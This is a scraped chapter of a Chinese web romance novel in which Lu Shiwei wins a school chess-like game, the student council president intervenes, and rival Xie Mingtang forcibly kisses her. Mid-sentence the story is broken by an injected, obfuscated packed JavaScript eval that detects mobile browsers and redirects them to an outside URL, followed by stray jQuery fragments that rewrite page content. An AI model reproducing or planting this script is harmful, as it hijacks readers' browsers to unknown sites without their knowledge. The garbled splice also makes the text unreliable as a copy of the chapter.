17.第十七章

作品:《难道我不是万人嫌吗?

    或许是棋局的战况太激烈,周围的学生竟无人发现,从很早开始,学生会会长就安静潜伏在人群中。


    而身处棋局的少年和少女,更是无暇顾及旁人。


    他们保持着沉默,好像有一道无形的壁垒,将二人与世界隔离开来,一切声音和画面都褪去。


    几乎旁观了全程的陆砚声,就这么安静地看着身处棋局的两人。


    黑白色的棋子在沉默中逐渐减少,棋盘上的位置也越来越空,比分一直咬得很死,现在明面上是谢明棠领先十几分。


    陆砚声仔细观察着棋盘。


    棋盘上可以相连的潜在位置还有不少,接下来的每一步都至关重要。


    他抬起墨色的眸子,看向比自己小一岁的“妹妹”陆时微。


    她背脊挺直,身体重心略微向前倾斜,一双漆黑的眸子紧紧盯着棋盘。


    陆砚声了解她的这幅模样,每当她完全沉浸在自己的思维世界里时,都会开启全屏蔽模式——无论是谁,都打扰不到她。


    世界在她眼中,或许就变为了纯白的空间。


    在这里唯有她一人。


    不。


    陆砚声眸光暗了暗。


    不是的。


    陆砚声其实从小就很清楚,她的世界有人曾来过。


    名为谢明棠的少年,以从容不迫的姿态坐在她的对面,偶尔在她的世界中掀起波澜,又巧妙地走进她的许可范围中。


    孩童时代两道稚嫩又傲慢的身影,与现在的二人重叠。


    他们跟小时候一样,讨论着自己努力才能学懂的知识,甚至把天书一样的内容当闲聊的话题,而其他人从未被纳入他们的核心社交圈,只能远远看着,最终只能选择离去。


    现在与孩童时又有什么不同?


    无论在什么时候,他似乎都无法走进这个世界。


    无法让陆时微看到,自己才是她应该正视的哥哥。


    陆砚声绷紧了小臂,五指收紧握拳,他的体温在不知不觉间有了升高的迹象,眼前的景象开始扭曲眩晕……


    意识到自己开始走向失控,陆砚声猛地打断思绪。


    一滴冷汗流过额角,他伸手按了按太阳穴。


    等呼吸平复,体温逐渐正常,清冷的神态再次回到了名为陆砚声的人身上。


    他呼出一口气,再次抬眼时,正好撞见陆时微准备翻棋。


    陆砚声莫名开始紧张起来。


    陆时微的表情在他眼前放慢,他清晰地察觉到她轻微勾起的嘴角,那抹微笑带着势在必得的意味,就像她早已将胜利收入囊中。


    ——但那不可能。


    她想用一步棋,就拿下比赛的胜利吗?


    就算她现在翻开这枚棋子连成了线,那周围相连的四子分数很低,能不能翻盘还另说。


    还是说……她找到了什么必胜诀窍?


    而陆时微的动作并未停顿,素白的手指毫无迟疑地翻开一颗白子。


    与此同时,少女轻轻落下一句:“将军。”


    声音清脆,毫不拖泥带水。


    如此笃定的语气让计分的学生愣了愣,凑上前去检查好几遍棋盘才道:“……陆学姐,虽然你确实连成五子,得到了20分,但棋盘上还有不少没被翻开的棋子,按理说游戏还没结——”


    “不。”在这位学生说完之前,陆时微抬手打断他,她自信地轻轻弯眸:“游戏结束了。”


    “学姐,你是不是搞错什么……”


    陆时微摇摇头,略微蹙眉,不耐烦地解释道:“这个棋盘上最后一条相连的五子已经被我翻开了,至于你问我为什么?”


    她嘴角的弧度上扬得更加肆无忌惮:“我把所有棋子的颜色位置都排查过,还记住了所有得分后被消除的棋子,再经过所有可能性的计算——我敢肯定,这里已经没有可以相连的棋子。”


    “如果你不信的话,大可以全都翻开,一个个仔细检查。”


    随后,她看向沉默不语的谢明棠,宣告了游戏结果:“游戏结束,我赢了。”


    一句游戏结束,让在场的人炸开了锅,也让陆砚声的耳畔嗡嗡作响。


    周围充斥着各种“不信任”、“猜忌”和“嫉妒诋毁”她的话语,但陆砚声已经听不见了。


    呵,他可真是想不到这个结果。


    他怎么能忘了呢?陆时微这种人,她的脑子里永远只会有自己的逻辑和数字,只是简单的计算就能拿下的比赛,不是轻而易举吗?


    而这种轻松,在别人眼里看来就跟怪物一样。


    陆砚声一时觉得无比荒唐。


    荒唐点在于仅仅过去几年,他就忘记了自己的好妹妹是多么恐怖,他甚至不需要去求证记分员的检查结果。


    “比、比赛结束……”


    待记分员一一掀开棋子,面对如同陆时微预测那般的事实,震惊得结巴起来,但还是记得宣布成绩:“最终结果为黑子523分∶白子521分——”


    “获胜方为,陆时微学姐。”


    “赢了!”


    率先打破在场呆滞氛围的,是陆晚意,她终于松了一口气般凑上前来:“时微姐姐,恭喜你!天啊我都不敢相信,你是怎么做到的……”


    陆晚意的喜悦太过真诚,陆时微别扭地别过头。


    一转头,她就看到了刚刚输掉游戏的少年。


    谢明棠一言不发地坐在位置上,低垂着头,浅亚麻色的发丝扫过他的前额,投下一片模糊的阴影,那幽绿色的眸子也因此看得不真切。


    让陆时微猛地想起小时候,他也有这样落寞的瞬间。


    行动先于思考,她遵从于儿时的习惯,迈开步伐走向他。


    她想伸手拍拍他的肩,或是像小时候打闹似的锤打几下,再说一句“不就是输了一局吗?大不了以后继续陪你玩,玩到你腻为止!”。


    再伤心的小男孩都会振作起来,眼睛亮亮地看着她,缠着她跟自己许下诺言。


    这样,就可以了吧?


    陆时微伸出手,就在她即将触碰到谢明棠的肩膀时,身后一道清越的声线猛地把她拉住。


    “学生会巡查,请大家配合工作。”


    她一下清醒过来,还未转身,属于陆砚声的木质调与薰衣草气味的香薰从身后附上来,缓缓将空气侵蚀。


    陆砚声一手沉沉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082817|194140||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    按住她的肩膀,沉声道:


    “学生会接到举报,游戏社的招新活动涉嫌聚众赌博,开展学校不允许的活动,请同学配合调查。”


    “至于社长……”他看向眼前的少年,“谢明棠同学,介于你有违反校规的嫌疑,学生会有权对你进行处分。”


    听到这话,谢明棠抬起浅亚麻色的脑袋。


    他掀起眼帘,幽幽地看了一样陆时微僵硬在半空的手,再移动到陆砚声的脸上时,眸底闪过一抹危险的光芒。


    “是会长啊,好久不见——”


    陆砚声打断了他的寒暄,道:“有什么事,来学生会教室说吧。”


    谢明棠歪歪脑袋,不解道:“我记得我所有的程序都是通过了学生会的盖章的,怎么,会长有什么证据,证明我违反了校规吗?就这么强制押送,不合规矩吧?”


    他早有准备般拿出了公章证件,上面条款清晰,学生会的干事检查后,不敢置信地对陆砚声道:“会长,证件都对,但是……但是!所有社团的申请我都看过的,我不记得有见过这份申请!”


    谢明棠冷笑一声,周身散发出阴冷的低气压:“你说你不记得?”


    “我、我……”


    他不屑地咂嘴:“学生会的人,怎么连最基本的记忆力都不过关?你是怎么考上伊莱的,还是说——靠关系?”


    学生会的干事额角冒着冷汗。


    他大可以直接骂谢明棠污蔑他,可实际情况却正如对方所说,自己的弱点被掌握得一干二净,干事的嘴角轻微抽搐着,一个字都说不出口。


    谢明棠扯开一个恶劣的笑容,被污蔑的干事百口莫辩,一时语塞,被陆砚声抬手制止,柔声安抚道:“好了,这件事之后再查。”


    “就这么放过了?算了算了,我也不是什么坏人。”他站起身来,走到陆时微的跟前,笑眯眯地说:“不过会长可不可以不要打扰我的好事呢?我还有重要的事情没有收尾呢。”


    陆时微抬头:“什么……?”


    她不明白这话的含义,抬眸对上谢明棠的视线。


    那抹幽深的绿色瞬间侵占她的视野,直到手腕处被猛地拉扯住,陆时微才惊觉这不是什么魔法。


    这是物理意义上,距离的拉进。


    她被少年用力地带离木质香气的环绕,而后跌进绿色的深潭。


    唇瓣好像有什么黏腻湿滑的东西靠近,然后像蛇一般露出掩藏于下的毒牙,牙齿的咬合在她的唇边留下鲜明的痛感。


    意识到发生了什么事情,陆时微愣怔一瞬。


    她后知后觉,谢明棠已经不是当场的小男孩,他长大了,牙齿也变锋利了。


    陆时微轻轻舔舐受伤的唇瓣,尝到一股腥甜。


    而这下意识的举动,让身前的少年僵硬了一瞬。


    他的心脏重重地落下一拍,灼热的情愫翻涌上来。


    谢明棠像是报复那般,再次重重地咬住她的双唇。


    思绪混乱间,她仿若听到谢明棠溢出口间的低语。


    黏着的,喑哑的,听得并不真切,却给她留下清晰的印象:


    “我来拿说好的筹码了,小微姐姐。”